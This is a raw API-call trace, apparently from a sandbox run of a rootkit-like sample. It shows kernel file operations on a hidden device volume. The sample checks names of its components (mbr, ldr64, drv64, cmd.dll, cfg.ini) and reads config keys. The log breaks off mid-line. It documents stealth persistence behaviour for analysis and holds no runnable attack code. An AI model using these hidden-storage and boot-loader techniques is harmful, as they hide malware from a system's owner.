[0127.944] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.944] IdePortDispatch () returned 0x103 [0127.945] KeWaitForMutexObject () returned 0x0 [0127.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.945] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.945] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.945] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.945] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.945] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4450 [0127.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.945] KeLeaveCriticalRegion () [0127.945] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.945] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.945] KeEnterCriticalRegion () [0127.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.945] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.945] KeLeaveCriticalRegion () [0127.945] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.945] KeEnterCriticalRegion () [0127.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.945] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.945] IdePortDispatch () returned 0x103 [0127.946] KeWaitForMutexObject () returned 0x0 [0127.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.946] KeLeaveCriticalRegion () [0127.946] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.946] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.946] KeEnterCriticalRegion () [0127.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7c000 [0127.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.946] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.946] IdePortDispatch () returned 0x103 [0127.946] KeWaitForMutexObject () returned 0x0 [0127.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.946] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.946] IdePortDispatch () returned 0x103 [0127.947] KeWaitForMutexObject () returned 0x0 [0127.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.947] KeLeaveCriticalRegion () [0127.947] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.947] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.947] KeEnterCriticalRegion () [0127.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.947] KeLeaveCriticalRegion () [0127.948] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.948] KeEnterCriticalRegion () [0127.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.948] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.948] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.948] KeLeaveCriticalRegion () [0127.948] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.948] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.948] KeEnterCriticalRegion () [0127.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.948] ExFreePoolWithTag (P=0xfffffa8003bf4450, Tag=0x0) [0127.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.948] KeLeaveCriticalRegion () [0127.948] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.948] ReleaseMutex (hMutex=0xf0) returned 1 [0127.948] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.948] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.948] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.948] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.948] KeEnterCriticalRegion () [0127.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.948] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.948] IdePortDispatch () returned 0x103 [0127.949] KeWaitForMutexObject () returned 0x0 [0127.949] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.949] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.949] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.949] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.949] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.949] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.949] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.949] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.949] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.949] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.949] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.949] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.949] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.949] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.949] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.949] KeLeaveCriticalRegion () [0127.949] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.949] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.949] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.949] KeEnterCriticalRegion () [0127.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.949] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.949] IdePortDispatch () returned 0x103 [0127.950] KeWaitForMutexObject () returned 0x0 [0127.950] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.950] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.950] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.950] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.950] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.950] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.950] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.950] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.950] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.950] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.950] KeLeaveCriticalRegion () [0127.950] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.950] ReleaseMutex (hMutex=0x100) returned 1 [0127.950] Sleep (dwMilliseconds=0x2bf20) [0127.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f7846f0, dwHighDateTime=0x1d24fa4)) [0127.959] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.959] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.959] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.959] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.959] KeEnterCriticalRegion () [0127.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.959] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.959] IdePortDispatch () returned 0x103 [0127.959] KeWaitForMutexObject () returned 0x0 [0127.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.959] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.959] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.959] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.959] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.959] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd610 [0127.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.960] KeLeaveCriticalRegion () [0127.960] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.960] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.960] KeEnterCriticalRegion () [0127.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.960] KeLeaveCriticalRegion () [0127.960] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.960] KeEnterCriticalRegion () [0127.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.960] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.960] IdePortDispatch () returned 0x103 [0127.960] KeWaitForMutexObject () returned 0x0 [0127.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.960] KeLeaveCriticalRegion () [0127.960] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.960] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.961] KeEnterCriticalRegion () [0127.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7f000 [0127.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.961] IdePortDispatch () returned 0x103 [0127.961] KeWaitForMutexObject () returned 0x0 [0127.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.961] IdePortDispatch () returned 0x103 [0127.961] KeWaitForMutexObject () returned 0x0 [0127.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.961] KeLeaveCriticalRegion () [0127.962] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.962] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.962] KeEnterCriticalRegion () [0127.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.962] KeLeaveCriticalRegion () [0127.962] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.962] KeEnterCriticalRegion () [0127.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.962] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.962] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.962] KeLeaveCriticalRegion () [0127.962] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.963] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.963] KeEnterCriticalRegion () [0127.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.963] ExFreePoolWithTag (P=0xfffffa8003bfd610, Tag=0x0) [0127.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.963] KeLeaveCriticalRegion () [0127.963] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.963] ReleaseMutex (hMutex=0xf0) returned 1 [0127.963] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.963] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.963] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.963] KeEnterCriticalRegion () [0127.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.963] IdePortDispatch () returned 0x103 [0127.963] KeWaitForMutexObject () returned 0x0 [0127.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.963] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.963] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.963] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.963] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.963] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc010 [0127.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.964] KeLeaveCriticalRegion () [0127.964] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.964] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.964] KeEnterCriticalRegion () [0127.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.964] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.964] KeLeaveCriticalRegion () [0127.964] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.964] KeEnterCriticalRegion () [0127.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.964] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.964] IdePortDispatch () returned 0x103 [0127.964] KeWaitForMutexObject () returned 0x0 [0127.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.964] KeLeaveCriticalRegion () [0127.964] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.964] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.964] KeEnterCriticalRegion () [0127.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c80000 [0127.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.965] IdePortDispatch () returned 0x103 [0127.965] KeWaitForMutexObject () returned 0x0 [0127.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.965] IdePortDispatch () returned 0x103 [0127.965] KeWaitForMutexObject () returned 0x0 [0127.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 